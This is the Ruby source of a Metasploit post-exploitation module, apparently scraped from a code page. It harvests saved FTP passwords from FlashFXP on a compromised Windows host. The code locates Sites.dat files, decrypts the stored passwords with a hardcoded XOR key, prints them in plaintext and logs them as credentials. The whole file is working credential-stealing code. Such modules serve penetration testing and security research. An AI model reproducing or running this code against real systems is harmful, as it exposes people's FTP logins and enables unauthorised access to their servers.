134 lines
3.7 KiB
Ruby
134 lines
3.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'rex/parser/ini'
|
|
require 'msf/core/auxiliary/report'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::Windows::Registry
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Windows Gather FlashFXP Saved Password Extraction',
|
|
'Description' => %q{
|
|
This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It
|
|
finds saved FTP connections in the Sites.dat file. },
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'theLightCosine'],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
))
|
|
end
|
|
|
|
def run
|
|
#Checks if the Site data is stored in a generic location for all users
|
|
flash_reg = "HKLM\\SOFTWARE\\FlashFXP"
|
|
flash_reg_ver = registry_enumkeys("#{flash_reg}")
|
|
|
|
#Ini paths
|
|
@fxppaths = []
|
|
|
|
unless flash_reg_ver.nil?
|
|
software_key = "#{flash_reg}\\#{flash_reg_ver.join}"
|
|
generic_path = registry_getvaldata(software_key, "InstallerDataPath") || ""
|
|
unless generic_path.include? "%APPDATA%"
|
|
@fxppaths << generic_path + "\\Sites.dat"
|
|
end
|
|
end
|
|
|
|
grab_user_profiles().each do |user|
|
|
next if user['AppData'] == nil
|
|
tmpath= user['AppData'] + '\\FlashFXP\\'
|
|
get_ver_dirs(tmpath)
|
|
end
|
|
|
|
@fxppaths.each do |fxp|
|
|
get_ini(fxp)
|
|
end
|
|
end
|
|
|
|
def get_ver_dirs(path)
|
|
begin
|
|
session.fs.dir.foreach(path) do |sub|
|
|
next if sub =~ /^(\.|\.\.)$/
|
|
@fxppaths << "#{path}#{sub}\\Sites.dat"
|
|
end
|
|
rescue
|
|
print_error("The following path could not be accessed or does not exist: #{path}")
|
|
end
|
|
end
|
|
|
|
def get_ini(filename)
|
|
begin
|
|
config = client.fs.file.new(filename,'r')
|
|
parse = config.read
|
|
ini = Rex::Parser::Ini.from_s(parse)
|
|
|
|
if ini == {}
|
|
print_error("Unable to parse file, may be encrypted using external password: #{filename}")
|
|
end
|
|
|
|
ini.each_key do |group|
|
|
host = ini[group]['IP']
|
|
username = ini[group]['user']
|
|
epass = ini[group]['pass']
|
|
port = ini[group]['port']
|
|
next if epass == nil or epass == ""
|
|
passwd = decrypt(epass)
|
|
|
|
print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***")
|
|
service_data = {
|
|
address: Rex::Socket.getaddress(host),
|
|
port: port,
|
|
protocol: "tcp",
|
|
service_name: "ftp",
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :session,
|
|
session_id: session_db_id,
|
|
post_reference_name: self.refname,
|
|
username: username,
|
|
private_data: passwd,
|
|
private_type: :password
|
|
}
|
|
|
|
credential_core = create_credential(credential_data.merge(service_data))
|
|
|
|
login_data = {
|
|
core: credential_core,
|
|
access_level: "User",
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
}
|
|
|
|
create_credential_login(login_data.merge(service_data))
|
|
end
|
|
rescue
|
|
print_status("Either could not find or could not open file #{filename}")
|
|
end
|
|
end
|
|
|
|
def decrypt(pwd)
|
|
key = "yA36zA48dEhfrvghGRg57h5UlDv3"
|
|
pass = ""
|
|
cipher = [pwd].pack("H*")
|
|
|
|
(0..(cipher.length)-2).each do |index|
|
|
xored = cipher[index + 1,1].unpack("C").first ^ key[index,1].unpack("C").first
|
|
if ((xored - cipher[index,1].unpack("C").first < 0))
|
|
xored += 255
|
|
end
|
|
pass << (xored - cipher[index,1].unpack("C").first).chr
|
|
end
|
|
return pass
|
|
end
|
|
end
|